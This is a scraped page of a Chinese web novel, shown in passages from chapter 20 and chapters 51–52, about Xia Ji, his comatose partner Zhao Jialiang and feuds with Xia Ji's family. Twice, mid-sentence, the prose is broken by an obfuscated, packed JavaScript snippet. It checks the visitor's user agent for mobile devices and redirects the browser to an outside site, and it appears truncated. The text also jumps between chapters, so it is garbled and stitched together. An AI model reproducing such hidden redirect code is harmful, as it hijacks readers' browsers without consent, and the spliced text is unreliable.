d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16247759|180791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电话。 “夏家人先不管,那几个敢在我的地盘,向我的人伸爪子,我不想再在京市看到他们!” 当天晚上,在某些人还在医院里看急诊的时候,一则震惊内娱的丑闻被曝出。 知名娱乐公司寰宇娱乐被曝出有一只专门拉皮条的产业链,经营着一套成熟的交易网。在第二天的官方突击检查中,这个麾下作用喻馨夏荣等一众顶流明星的大公司,被查出公司相关负责人电脑里产出不少东西。 因为这事儿,寰宇娱乐被严查,没过两个月就宣布破产。 喻馨作为寰宇娱乐的幕后大股东,赔了不少钱。 这事儿让她本来火气很大,但看着哭的伤心的小儿子最后还是说不出太重的话来,“小荣,今时不同往日,夏季给赵嘉良当金丝雀的事情全京市无人不知。” “你在赵嘉良的地盘,让寰宇的人去动夏季,那不是明着打赵嘉良的脸吗?!” 可夏荣也很委屈,明明夏季还没被赶出去的时候妈妈就整天在他耳边念叨,说把夏季赶出去之后要想办法一举除掉他,永绝后患。可夏季离开夏家之后就去京大住校了,据说是学业繁忙整天大门不出二门不迈的。 京大那是什么地方?是华国最好的大学,安保严格不说内里都是些学术分子根本无法收买! 本来夏荣想着夏季要是一辈子缩在学校里不出来,那就暂且先放他一马。可谁知这个狐媚子读个书都不安分,竟然在学校里就勾搭上了赵家的新任家主赵嘉良。而更让夏荣难以接受的是,赵嘉良也不知被灌了什么迷魂汤,竟然要斥巨资给夏季造个宫殿! 夏荣是真的害怕,也真是嫉妒。 凭什么都是一个妈生的,只有夏季偏生出一张毫无缺憾的完美容颜?明明自己的父亲长的也不错,凭什么自己就没有全部继承他们的容貌优点呢?! 尤其是在好不容易跟周镇川结婚之后,完全没有达到夏荣原本预期那般的幸福婚姻生活让夏荣心态发生了很大的变化。夏荣无论如何都不能接受自己会输给一个乡下长大的泥腿子! 他觉得无论是周镇川还是赵嘉良,他们一定都是被夏季那张脸吸引了。 但要想让夏季彻底消失,只毁掉一张好看的脸还并不能让他满意。在刻意蹲点打探了夏季离开研究所的时间后,一个歹毒的计划就这么产生了。 “妈,我知道这样做可能会得罪赵总,但是...但是川哥这几天总是叨念着想邀请夏季来我们婚房玩。我根本咽不下这口气!”夏荣委屈巴巴直流泪的模样让老母亲心疼。 喻馨比谁都清楚最疼爱的小儿子结婚之后过的是什么样的日子,所以即使损失了很多钱财,她也只能叹了口气。 夏荣哭着说,“我是想着赵总跟夏季才认识没几个月,现在他们之间应该还没有太深厚的感情。我怕现在不出手,以后他们处的时间长了,万一产生感情了就没机会了。我实在是太害怕了~” “明明我才是跟川哥青梅竹马从小一起长大的人,可夏季才回来不到两个月川哥就想更换联姻对象。我们十几年的感情竟然都抵不过他跟夏季认识的两个月!”夏荣捂着脸呜呜的哭,“妈,这到底是为什么啊?那个赵嘉良跟夏季明明也没认识多久啊,他明知道寰宇娱乐是我们家的产业,这不是明摆着要为夏季打我们的脸吗!” 喻馨也只能恨恨的抿了抿唇,“赵家如今势头,咱们不好跟他对着干。这次就算了,小荣你以后做事可不能再这么鲁莽了。” 正因为赵嘉良的这次出手,给了圈里所有人一个信号。 无论夏季在夏家时如何,现在的夏季都是他赵嘉良罩着的人。但这次的事情却也没有像喻馨所意味的那样,在寰宇倒台之后就告一段落。 直到夏荣试图对夏季做的那些事情,也全部被人在夏荣自己身上Copy了一遍。 20.第 20 章 夏季刚回到京市的时候,虽然已经做好了充分的心理准备,但从小生活在最贫苦农村的他,在人生阅历还是有些欠缺。 就好比夏季所能想象到的最坏最坏的人,也就是隔壁何胜利那样的,把女人当畜生一样关在家里没日没夜的生儿子。 夏季总以为,何胜利的恶行是山区农村特殊的社会环境所造成的悲剧。他以为,在京市这种现代繁华的大都市里,这里的人总会比清河村那地方更理智善良一些。 可当他在大二的时候终于如愿回到夏家后他才意识到,其实京市的人和清河村的人在恶这方面,是没有多少区别的。 因为无权无势,又没有家人可以依靠。夏季在刚回夏家的时候吃了不少苦。 此时外界对夏季这个从农村回来的二少爷的刻板印象全是贪财好色的鸡鸣狗盗之辈。而喻馨在背靠夏家资源成为内娱影后之后,一直在发展自己的传媒事业。在舆论方面,喻馨只手遮天。因此,人微言轻的夏季在当时根本无法自证些什么。 但感谢于夏季的成长环境。吃苦,擅长忍耐,是他的成长色彩。 在那样的背景下,夏季忍辱负重了三年,在败光了自己所有的名声,拿到自己想要的答案后,最终全须全尾的离开了夏家。 喻馨和夏荣一直以为这是他们的胜利,可只有夏季自己心里最清楚。这不过是他给自己过往的一个交代。 而在夏季离开夏家之后,夏荣还不依不饶的事情,无疑是触及了他的底线。 所以在赵嘉良提起说想教训夏荣一下的时候,夏季同意了。 “法治社会,我以后还想继承王老衣钵,你做事悠着点。”夏季也不是没有想过为自己洗刷污名。只是之前他还没有那个能力,现在他倒是可以借着赵嘉良的手来跟喻馨掰扯了,但问题是,他现在太忙。完全让赵嘉良去做,自己没点参与感他又有点不甘心。 所以先让赵嘉良帮自己出出气是最好的选择。 自从有了上次休假的同居经历后,赵嘉良已经自作主张的把夏家搬到自己家共同居住了。 这是夏季第一次跟人同居。 赵嘉良这家伙别看长着一副放荡不羁的渣男脸,实际上谈恋爱的时候却细心温柔的很。因此夏季搬到他的大平层居住时并没有感到丝毫不适。 只是刚回家,两人还来不及说句话夏季的手机就响了。 保密项目的所有参与者都有一个组织配发的私密手机。 夏季冲赵嘉良使了个眼色,对方立刻识趣的转身离开,还把门给带上了。 等夏季讲完电话,重新允许赵嘉良进门后,男人还来不及张口就听他冷冷的说,“明天早上八点我要回研究所,说是有事找我。” 具体的急事内容夏季没说,赵嘉良也不会傻缺的开口问。 这个由王院士等华国顶级科学家主持的项目是近段时期国家最重要的科研项目。 在近两年国家突破了西方列强的芯片封锁后,卫星系统的完全独立就是战略重点。夏季虽然这时候还只是项目里最微不足道的基层人员。但面对每天睁眼校对,闭眼数据的枯燥且重复的工作,他态度严谨细致,做事聪慧有灵气,还是很受上级赏识的。 再加上他又有王院士一家三代人的背书,所以夏季即使在外声名狼藉,但组织上要考校一个人看的可从来不是什么名声,而是要看这个人真实做过些什么的。 “我好像要升职了。”夏季调笑道。 这可比他亲自打了夏荣一顿更开心。 赵嘉良看他笑的开心,也是真心实意的为他高兴。 “那可真是太好了...” 因为伤口不能沾水,赵嘉良晚上是死皮赖脸的坚持帮夏季洗了个澡。 当然,除了洗澡之外旁的该干的不该干的事情他也没少干。 夏季被他蹭的直喘气。 “你是狗吗?”不得不说赵嘉良发展副业,开娱乐会所还是有点成效的。 就比如现在,他“伺候人”的功夫也不知道是怎么学的,就是让夏季觉得...功夫十分了得。 而赵嘉良也是因为清楚夏季不愿意在一段亲密关系中吃半点苦头,为此,都毕业好多年的他最近一直在好好学习。虽然学的东西有点涉及敏感,又无法亲自上手实验所以偏于理论。但总的体验下来,夏季感觉还行~ 考虑到夏季受了伤,明天还要早起。赵嘉良还是按捺住了心中汹涌的热情,只是抱着心上人餍足睡去的幸福感还是让他心情大好。所以第二天送夏季回去上班后,他立刻把自己的几个心腹手下都召集了过来。 “去,给夏荣那小子找点麻烦。” “都悠着点儿,违法乱纪的事情可不能做!” 为首的阿久面露难色,“良哥,擦边的行吗?” “当然不行!”为了维护自己光伟正的形象,赵嘉良现在是不会允许自己和自己的手下有任何道德瑕疵的。 但不擦点边还想找人麻烦,这真能对人产生威慑力吗? 赵嘉良白了一眼脑子仿佛不怎么好使的阿久,“之前不是让你们查了夏季回夏家之后的遭遇吗?你们只要把他之前经历过的Copy给夏荣来一遍不就好了?” 像喻馨这种爱玩舆论的,她亲自教养出来的小儿子能有多高的战斗力? 至少在阿久他们上手之后就很快发现,仅论动手能力,夏荣这种外强中干的戏子就是约等于零的。跟动起手来不要命的夏季相比,夏荣就是个纯废物。 也正是这几个月的遭遇,让夏荣不得不停止了工作,也对阿久这人产生了PTSD。 夏季刚回研究所没两天,赵嘉良就钦点了五个男人去堵夏荣。虽然这帮人并没有真对夏荣做点什么,但言语上的威胁和明晃晃的羞辱还是一点儿没少。 至于之前他耍小聪明似的,什么被哥哥推入泳池落水啦,什么妈妈送的珍贵礼物被哥哥拿走啦,这之类在真假 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16260749|180791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少爷小说里非常常见的剧本,阿久他们也是亲身为夏荣演绎了一遍真实版。 因为这些都是夏季在夏季真实遭遇过的事情,夏荣即使知道他们是故意的却也只能打碎牙齿活血吞了。毕竟他若敢计较阿久他们的行径,那夏季在有赵嘉良撑腰的情况下也肯定也会同他翻旧账。 不过夏荣比夏季幸运的是,他有一个很爱他的妈妈。 在跟丈夫和母亲哭诉了无数次后,也不知道他们是怎么跟赵嘉良谈的,但最终的结果是付出了不少的金钱代价后,赵嘉良才终于放了夏荣一马。 至此,直到赵嘉良车祸出事之前,夏家人都再没有在夏家面前出现过也一次! 这样难得的平静生活让夏季爱情事业双丰收,虽然整天忙忙碌碌,但粘人的恋爱脑对象,奢华舒适的生活,和一眼看的到前景无限的个人事业,以及见到自己都要绕着走的夏家人... 夏季真的曾真心实意的觉得,自己已经是人生赢家了。 可偏偏这时候的一场车祸,让赵嘉良当场被撞成了植物人。 那个曾经挡在夏季身前为他遮风挡雨,平息一切非议的男人倒下的时候,所有的妖魔鬼怪的都舞到夏季跟前了。 大概是平顺日子过的太久,夏季都快忘了,原来他还是赵嘉良豢养的金丝雀呢~但其实连王金安都不知道的是,赵嘉良的这场车祸,其实在五年以前他就见识过一模一样的了。 赵嘉良的车祸,不是巧合,甚至可能都不是奔着赵嘉良去的。 夏季临时销假赶回研究所之后没多久确实升了职。 但这并非是他能力出众,碾压了其他科研人员而得到了提拔。而是当时同样跟他一起打杂的一个同专业博士学姐,拿到了国外的顶级学府offer和高额奖学金。也不知道她遭到了怎样的洗脑,最后她选择抛弃国籍和誓言,决心奔赴自由的国度。 而她离开时一起带走的,还有她在研究所工作时,所接触的所有保密数据。 由于此事涉及泄密,这位学姐的导师和相关人员被暂且停职调查。 这部分的工作本来是应该交给另外一位行业大佬林教授的。可他在来京路上发生了严重车祸。人虽在安保人员的誓死保卫下性命无虞。但教授年纪大了,这样的重伤,他少说要在床上躺个一年半载,根本无法继续工作。 而之所以找到夏季他们这些年轻人,其中“年轻学生不好杀”,可能也是重要原因。 面对领导的问询,夏季夏季最先站了出来。他语气淡淡的,一张漂亮的不像真人的脸上却没什么太多的表情,但眼神却很坚定。 “数据库的更新和加密,技术含量不高,只是繁琐。即使林教授来不了也能完成任务。” “我跟王院士的外孙女是过命的交情,我男朋友特别有钱。所以我既不可能被金钱收买,也不可能叛逃王老的师门。” “而且,我还不怕死。所以请将这个任务交给我吧。” 50-60 第51章 在从王今安的办公室离开之后, 夏季先是去洗手间洗了把脸。 在哗啦哗啦的水声中,他反复洗手。不得不说周镇川这人的厚脸皮简直超越了夏季对普通人类的认知,这不仅是不要脸层面的厚脸皮, 更是物理层面上的。夏季此前也没少干赏人嘴巴子的事情, 但也不知道是不是自己和善人当久了,许久不跟人动手了所以变娇气了。明明是他打别人嘴巴子,自己的手却也扇得挺疼的。 “啧。”不耐烦的甩了甩手上的水珠, 想要拿纸巾擦擦手,却发现刚好用完了。 夏季有些暴躁的把空袋子扔进垃圾桶,心里早把周镇川的祖宗十八代都骂了一通,顺便还记仇的把他纳入了打击报复对象目标之中。 而本就心情不好的他再来到赵嘉良病房门口的时候, 看到王今安和邹柔柔俩人在床头鼓捣着什么。 夏季这才刚推门而入,还没来得及开口询问, 一道不知从何而来的声音差点儿没把他当场整红温。 周镇川那阴魂不散的声音在不大的病房内萦绕,刺的夏季脑壳疼。 “邹柔柔!”夏季向来跟王姐的这个好闺蜜不太对付, 他总觉得邹柔柔是念心理学念傻了, 以至于她的脑回路都跟正常人有壁似的。但王今安却认为邹柔柔这属于是古灵精怪, 性格有趣的范畴。 并不想在这方面跟王今安纠结的夏季只能尽可能避免跟她的这位好闺蜜接触,只是今天偶然碰到,还是难免让夏季不爽。 【你还是不肯原谅我当初的选择吗?】 【夏季!我们之间有误会, 你能不能再给我一次好机会?我保证绝不会再辜负你!】 【赵嘉良已经是个植物人了。他就算醒来也难保健全!如今这情势他庇护不了你,但我可以。】 夏季刚推门走进去两步, 就温习了一遍刚刚周镇川的“发癫”语录。此情此景, 他甚至都不用思考就能猜到这是出自哪位大神手笔。 “我只是去洗了个手而已,回来你们连语音都剪辑好了?真厉害,动作好快啊。”夏季只觉得自己刚刚被凉水冲过的手掌又热起来了。 只见在赵嘉良耳边摆弄着播放设备的某位专业心理医生只是一手捂着脸,一手冲夏季挥了挥, “今安特地喊我来帮忙,都是应该的啦!” 夏季深吸一口,歪了歪头,笑眯眯的说,“柔柔姐,有没有一种可能我其实不是在夸你。” “没关系,只要你不骂我就等于是在夸我。”作为一名心理医生,从某些方面来说,她还是挺克夏季的。 眼看着本就心情不好的夏季快被周镇川的循环音整暴躁了,王今安赶紧推着他出去了。 “你办公室里还有监控?”夏季按捺着脾气问。 不然他想不出她们是怎么拿到刚刚周镇川在办公室里的那些发言的。 王今安不好意思的笑了笑,“我这不是看你最近老是念叨着要把赵锋锐弄出来刺激赵狗嘛,这想法还是太危险了,所以我才找柔柔来帮忙的。她毕竟是专业的。” “刚刚你跟周镇川去谈的时候,她说你们的对话内容里说不定是很好的素材,毕竟赵狗那家伙最反感最不容忍的东西也未必是赵锋锐嘛” 夏季沉默片刻。 诚然,以赵嘉良那个超绝恋爱脑的脑回路来看,他确实可能会把自己的优先级排在其它事物之前。但对于邹柔柔,夏季也不是第一天认识她了。 “哎,交友不慎啊。” 王今安嘿嘿一笑,“你也别怪柔柔多事儿,至少她在专业性方面还是值得信赖的。之前你请我找她帮忙的事情,她已经办妥了。” “这么快?”夏季一挑眉,稍显意外。 而王今安显然对闺蜜的办正事的能力十分有信心,“你之前的猜想没有错,那个赵天生的精神病诊断证明,确实有问题。” 赵嘉良车祸的事情发生之后,该走的调查流程肯定是不能少的。只是从现有的所有证据都指向了赵天生一个人,虽然夏季一直觉得这个事情绝不是赵天生一个人就能完成的,但除了他背后的境外势力之外,老胡那边查了半个月也没办法把赵天生的事情跟赵家其他人关联在一起。而偏偏赵天生在被捕之后又查出了他亲爹同款的精神分裂,连正常沟通都做不到。 由于境外势力一时半会儿又无法追查,这个案子的后续也就不得不尬在这里了。 即使夏季是个不肯吃亏的性子,可连老胡都拿不到的证据的事情他这个文弱的学术分子又能如何呢? 说到这个事情,王今安不免压低声音,“不过我还是挺佩服你的,你之前去探望过赵锋锐?你怎么前几天见了他一次之后就开始怀疑赵天生了?” “感觉。”夏季微微蹙眉,“我以前陪阿良去见疗养院见过很多次赵锋锐,不过他那个时候不太清醒,认不得人。” “赵天生刚被抓住的时候我去老胡那边见过他,他的眼神,跟赵锋锐很像。”但是夏季当时并没有往其他方面想。毕竟刑事案件的精神鉴定是由专业机构去做的,夏季自己并非相关专业人士,所以对于这个鉴定结果并没有怀疑。“也正是因为他们的眼神太像了,所以我当时才以为这就是精神分裂的正常情况。” 但前几天跟赵锋锐再次见面后,夏季忽然产生了一个疑问。 既然赵锋锐经过治疗就能恢复神志到跟人进行正常沟通,那么赵天生为什么不行? 王今安叹了口气,“柔柔那边已经帮你向鉴定机构提交异议复检了,你回头也跟老胡说一下这个情况。柔柔说,赵天生这种情况只有两种可能。一种是鉴定机构里有内鬼,一种是赵天生能有夏荣那种专业表演能力。” “但我觉得两种都不可能。”夏季只觉得头疼,“阿良之前跟我说过,赵天生是赵锋锐最小的儿子。从小就是被宠着长大的,甚至阿良当年清算赵家的时候,他的妈妈哥哥为了保住他可都是不择手段的。” 这样一个出身背景的娇滴滴小少爷,他能忍辱负重到基因突变到演技爆表?夏季不信。 他轻啧一声,“除了学习之外,所有需要我费脑筋的事情都应该被铲除。” 说着他转身拿起挂在椅背上的外套,往外走去。 “你干嘛去?”王今安下意识的喊了声。 夏季头也没回,“我要去把这些煞笔都鲨了。” 不过夏季这一走也是走了个寂寞。 他刚人还没出医科大的大门,就被王今安的夺命连环call叫回去了。 “别跟我说什么杀人犯法的屁话,我实在懒得等老胡的正规流程了。”电话里夏季很不耐烦的说。一想到赵炳锐那帮人之前那副小人得志的跳脸模样他就不得劲,如果不是念着老胡说的不要打草惊蛇,给他一些调查空间的话,夏季早把赵天生从精神病院里接出来“亲自”照料了。 他本以为王今安打电话过来是对自己自制力的不自信,可电话那头两个女人尖锐的声音差点儿没把他的耳膜炸了。 “赵嘉良醒了!他睁眼了!你特么的赶紧给我过来!” 夏季原本还充斥着嘲讽不耐烦的表情瞬间僵硬了一瞬。 在那一瞬,他只感觉自己的心跳的很快。原本想要立刻去做的事情,和脑子里已经构架好的收拾某些人的方案也一秒全忘了。 从学院门口到实验楼楼下,夏季几乎是用跑的。 所以当他三分钟之内出现在病房门口的时候,邹柔柔也丝毫不感意外。 “你等等再进去吧,先让医生们做检查。”邹柔柔见他步履匆匆,稍微拦了一下。 好在夏季只是有些激动,但还没到失了智的程度。 他看了一眼病房里里三层外三层的医护人员,甚至李教授都在场亲自上手了,他就是再激动也还是能维持理智的。 “好,我知道了。”夏季冲她点了点头,然后跟她一起退到门口的人群外围远远的看着。 伴随着医护人员的交谈,夏季原本高涨的情绪也是很快就平复了下来。 他沉默的听了很久的讨论后,才慢慢踱步到邹柔柔身边问,“你们电话里说阿良睁眼了,就只是睁眼了吗?” 因为赵嘉良如今一直都是有意识的,所以用“醒了”来形容他的情况其实并不是很确切。他只是思绪正常,但身体不能动弹而已。而拿着医用手电筒对着他瞳孔照的老教授嘴里碎碎念的却是:“不应该啊,怎么只有眼睛能睁呢?” “小伙子,眨眨眼来。” 经过一通检查之后,夏季是听明白了。 “感情是现在是只有眼皮能动是吧?”夏季无语了。而且还是眼皮都动的不利索的那种,睁开了就合不上了! 但世人都说,眼睛是心灵的窗户。 赵嘉良能睁眼了,这就是一个质的飞跃。当然,至于他为什么忽然能睁眼了,夏季身旁这位精通心理学的邹姐姐居功至伟。 “虽然现在是只有眼皮能动,但我觉得以他对你的在意程度,再给我几天时间估计他手脚也能动了。” 第52章 在医护人员检查结束, 李教授带着相关负责人离开去开简会,夏季才有机会好好看看如今真的醒来的赵嘉良。 病床上的男人因为无法坐起身来,动弹不得的模样看着竟然有点可怜。 但都说眼睛是心灵的窗户, 毕竟是在一起有些年头的情侣关系, 当夏季站到床头跟赵嘉良视线交叠,不到十秒,他就叹息着败下阵来。 “你感觉怎么样?”虽然明知道对方无法回答自己, 但他眼神中那快要溢出来的过量情绪还是让夏季有些招架不住。 就好像小时候在清河村混日子的时候,隔壁老张家为了凑钱给儿子娶媳妇儿,要把家里养了七八年的老狗卖去狗肉馆的那天。狗爪子在老张家门口硬生生的扒拉出了两道深深的印子,明明是并不具备语言能力的生物, 却让人只一眼,就能从它的眼中读出它所想讲述的意思。 尤其夏季这种平时来看起来酷酷的, 但关键时刻又很容易心软的人 “好吧,我知道你现在不能说话也并不能回答我的问题。”虽然有些受不了对方的星星眼攻击, 但夏季还是忍不住又悄悄的瞥了他两眼, 难得用一种温柔缱绻的语气说, “但你能醒过来我真的很开心。” 只见他弯下腰轻轻的在男人的眼睑上亲了一下,“阿良,不要让我等太久。” 回应他的, 是男人愈发沉重的呼吸声。 虽然依然躺在病床上无法动弹,但这样近的距离, 夏季甚至能感受到对方身体肌肉的忽然紧绷。 虽然这大半个月的绝对卧床让赵嘉良的身体机能不可避免的有所退化, 但好在他的身体底子足够好。即使是隔着被子和些许的距离,夏季还是能感受到这人蛰伏的力量。他甚至能够猜想到,但凡这个男人能动,那自己很可能都无法站着离开这个房间了。 夏季的视线从男人的脸上一路向下, 然后若有似无的像是要帮他掖被角,又像是刻意撩拨。 在某处轻轻按了一下之后,夏季心情很好的笑出了声,“托你的福,我如今在王姐的同事同学们眼中已经颜面无存了。” 他压低声音,在男人耳边轻声威胁,语气中还带了点儿咬牙切齿的意味,“乖乖听话,不然我可不保证会干点儿什么!” 这一番威胁好歹是让刚睁眼的某人其实萎下去了一点,夏季站起身捋了捋衣摆,瞥了一眼在门口探头探脑的邹柔柔,眉心微蹙。 他思索片刻还是不顾某人挽留的眼神,径直走了出去。 而伴随着他离开的动作,原本只有眼皮子能动的男人也是拼尽全力的试图抬头,急的植物人都要开口说话了~ “不多陪陪他吗?”门口的某位专业心理医生笑的十分温柔得体。 夏季叹了口气,“不急于一时,我有的是时间陪他。” “关于赵天生的事情,我有些细节想问问你。” 因为赵嘉良的突然睁眼,夏季放弃了直接去找人收拾某些人的念头。但这并不妨碍他催促老胡赶紧干活儿,帮自己下手去打击报复。 “有相熟的人告诉我,精神鉴定的专业性极高。而且给赵天生做精神鉴定的司法机构并不是一般常规机构,哪怕是夏荣那种有口皆碑的影帝,经过充分准备,也几乎没有可能逃过鉴定仪器。”夏季刚刚其实是想了一下这个事情的。倒不是他质疑邹柔柔的判断,事实上不管赵家那帮人整出什么离谱事儿来他都不会觉得太过惊讶。 邹柔柔点了点头,“从理论上来讲,以表演的方式是绝对不可能骗过专业人士的。但同样的,我也不认为我那些能端铁饭碗的半同行们会被金钱收买,去做这种一个不好就要杀头的事。” 她耸了耸肩,“所以我觉得,思路要打开。” 夏季沉默片刻,不耐烦的轻嗤一声,“真是麻烦啊” 相较于赵嘉良车祸的扑朔迷离,夏家那边的事情就清晰明了的多。 因为赵嘉良能睁眼了,也能通过眨眼的方式跟旁人交流。李教授在给他做了详细检查后,将人从特护病房里挪了出来。并表示,赵嘉良这情况跟他以前见过的植物人病例都不一样。他是典型的能以意志为转移的狠人,面对这种心志坚定的狠人,李教授认为应该加大刺激力度。 “还要怎么加大力度?”夏季在听完王今安的专属之后,露出一个想吃人的笑容,“我不仅安排了他的狐朋狗友来病床前蹦迪,还让你们录了周镇川的不要脸发言在他耳边循环播放。还要怎么刺激?是要我邀请周镇川一起来探望他,在他床头喝茶聊天?还是直接把赵锋锐从精神病院里绑出来,塞他屋里?” 王今安没好气的白了他一眼,“你这人是恶心事入脑了吧?刺激的方向千千万,你就非要用大家都不开心的方式吗?” “下周你就要过生日了,一会儿我去跟赵狗说一声。就说他下周要是还没进步,你的生日Part就不带他咯。” 夏季一噎,“这还真是好歹毒的刺激呢” 其实夏季小时候几乎没有怎么正儿八经的过过生日。 清河村那种地方,是没有给孩子过生日的意识的。而在城里呆过的周小芬虽然把夏季的户口挂在了自己名下,但不管是事实上,还是旁人眼中,她都只是一个帮城里有钱老板带孩子的高级保姆罢了。 保姆是不会给主人家过生日的。 而夏季年幼的时候,虽然有爷爷奶奶的庇护。但对于那对老夫妻来说,一个注定不便回家的孙子的重要性是远不及小儿子和大孙子的。因此每年夏季生日的那一天,他都和平常一样过,没有什么特别的。 甚至后面爷爷奶奶忙于家中的其他琐事,来探望他的次数越来越少后,夏季的生日也就愈发无人记得了。 后面他回到京市,在夏家的那几年就更不用说了。 喻馨厌恶他的出生,更不愿回首痛苦分娩的那一日。因此,夏季还在夏家的时候也是非常识趣的从来没有提起生日的话题。即使喻馨会给夏燃和夏荣举办非常盛大的生日派对,夏季在一旁冷眼瞧着的时候心里也鲜少有波动。 只是他不过生日的这一习惯,在认识了赵嘉良之后就被迫改变了。 【以后的每一个生日,我都会陪在你身边。】这是赵嘉良死皮赖脸跟夏季约定好的。 他们在一起五年,这五年无一次缺席。 而夏季虽然名字叫夏季,但他的生日却并不是在夏天,而是在秋末。早年他也曾十分好奇的问过爷爷奶奶关于名字的问题,但那位矜贵优雅的老妇人只是眉眼中带着怜悯的摸了摸的脑袋,告诉他这个名字是夏季的父亲取的,以后有机会他可以亲自去问问父亲。 夏家的另外两个孩子,名字都是喻馨取的。只有夏季这个被母亲抛弃的很彻底的孩子,是夏听风亲自给他取的名字。 只是后来夏听风去世,夏季也就彻底没有打听自己由来的原因了。 赵嘉良不知从哪里打听到夏季曾经打听过自己名字由来的问题,于是在他们在一起的第一个生日时,赵嘉良送了他一个老旧日记本。 那是夏听风学生时代的日记。年代久远的时候,情窦初开的男生还是更喜欢以一种浪漫温情的方式记录心情。夏季嘴上说着对这种涉及个人隐私的东西不感兴趣,但日记本被赵嘉良塞到手中时,他还是不由自主的摩挲着精美的封皮。翻开日记本,略微泛黄的纸页上是夏听风潇洒飘逸的字迹。 从他这些字迹和文笔中,夏季仿佛能够看到这位素未谋面的父亲年轻时的为人。而一些无从求证的问题,也在他看完这本厚厚的的日记后,有了一个答案。 那是一个令人充满遗憾的答案,却也让夏季心中释然。 夏听风跟喻馨相识在夏季。在他的日记里,用了很大的篇幅描绘了那个季节的美好,和女孩儿比日光更加灿烂的笑颜。即使作为旁观者,夏季虽然无法感同身受,却还算理解夏听风的怀念。 “姐,你想刺激阿良的精神可以用其它手段。哪怕是让我跟周镇川在他床头讲双簧都行,但生日,我肯定是要跟他一起过的。”夏季叹了口气,微微低下头,“如果不是跟他在一起,那过生日就是个毫无意义的事情。” 王今安抿了抿唇,半晌才憋出一句,“我就说恋爱脑是烈性传染病吧!” 当然,她也不会真的把周镇川再摇回来刺激一下赵嘉良。 不过看夏季的反应,她心里很快就有了一个新的想法。在安慰了弟弟两句之后,王今安便返回工作岗位。 倒是夏季,如果不是王今安提起生日的事情,他都已经忘了原来下周就是自己生日了。 回到病房,夏季在赵嘉良的病床前坐了好一会儿。 男人无法动弹,夏季也就只是坐着。看赵嘉良的情况像是心情平复了很多,夏季便幽幽的抱怨起了生日的事情。 “以前你跟我说,一个人只要曾经存在于世,无论生死总会有人为他的存在而动容。名字,是每一个新生命诞生收获的第一道祝福。”夏季的声音淡淡的,给人一种有些凉薄的感觉,“我曾经深以为然。可你不在的这些日子,我却时常会怀疑,我的名字,到底是一种祝福还是祭奠?” 从夏季的角度,他并不能看清仰躺在病床上的赵嘉良的面部表情。 但凡他站起身,或许就会发现此时的男人瞪大双眼,一脸焦急。 随着夏季丧丧的小碎话越说越多,赵嘉良是真的很着急了。 此时的他并不知道自己到底昏迷了多久,又躺了多久。他只知道自己千恩万宠,捧在手心怕飞了,含在口里怕化了的大宝贝在自己出事之后一定是受尽了委屈!毕竟在自己的细心呵护下,自己的乖宝不论是性格还是心态都是十分开朗积极的。 赵嘉良只觉得自己不在的这些日子里,夏一定是吃了不少的苦,受了不少的欺负。 尤其是他又想起名字的事情,赵嘉良不用猜都知道一定是自己不在的时候夏季人又为难他了! “我前几天去见喻馨的时候,发现她完全是个活在过去的人。她无法从自己的世界里走出来,周镇川也是。”夏季一手托着下巴,转头望着窗外若有所思。 他这短短两句话足够赵嘉良发散思维一晚上了。 原本还只有眼皮能动的男人这时候已经是咬牙切齿了。如果不是嘴皮子实在不听使唤,他肯定是要就喻馨和周镇川这两人的问题发表“深刻意见”的。 夏季絮絮叨叨的在男人的床头说了许多没头没脑的话。眼看着夕阳西下,一天的时间就这么一晃儿过。 “我得先去吃饭了。”夏季寻思着自己想说的话都说完了,索性起身弯腰又亲了亲他的脸颊。 赵嘉良沉默着望着他,眼神中有一些夏季没看懂的情绪。 “我先回去了,你好好休息。明天我再来看你。” “阿良,不要让我等太久” 相较于夏季和赵嘉良在病房里相处时的温情脉脉,外面的世界就显得格外腥风血雨了。 本来喻馨被捕的事情就很难不波及到夏荣。虽然狗仔们不能去看守所门口蹲点,但周镇川和夏荣的婚房还是早年狗仔们经常报道的老地方。因此夏荣在喻馨被捕后立刻搬回了跟周镇川结婚时的婚房并同他一起住了几天。 要知道之前夏荣跟周镇川的婚变新闻可是一度也传的沸沸扬扬。 只是这时二人同居的消息曝出,倒没有多少人觉得夏荣此举是在遛人,甚至很多夏荣的铁粉都表示:识时务为俊杰,这时候暂停离婚是最明智的选择。 【我冷眼瞧着夏季对周总似乎并没有那方面的想法啊,因为这种挑子一头热的事情闹离婚其实蛮得不偿失的~】 要知道夏荣的婚姻也是他完美人设中的重要一环。周镇川虽然不及赵嘉良那般在京圈颇有点儿传奇人物的味儿。但他出身优渥,容貌俊秀。在一众歪瓜裂枣的油腻商人中,也算得上是非常拿得出手的。因此,早前夏荣也没少拿自己的婚姻营销。 只是当年吹的有多狠,如今还债的时候就以后坑。 【我觉得荣荣还是不要离婚的好。喻影后这样子恐怕是犯事儿了,如果网传的消息都是真的,也难怪夏季这么恨她了……】 虽然很多脑残粉踩一个人是不需要理由的,但喻馨那个案子曝料出来的消息实在太过于炸裂。 杀夫杀子,买凶杀人。再加上婚内出轨,狸猫换太子…… 在这各种热门要素集齐的情况下,就是夏荣的铁杆粉丝想要当冲锋狼,都得掂量掂量这么冲到底值不值得。 因此这时候,夏荣的粉丝们其实是更希望自家哥哥能够跟原生家庭切割独美的。但遭遇如此家庭变故,他们柔弱不能自理的哥哥无人照顾可怎么行?于是很多人的目光就又落在了夏荣的合法丈夫周镇川身上。 有需求就有买卖。 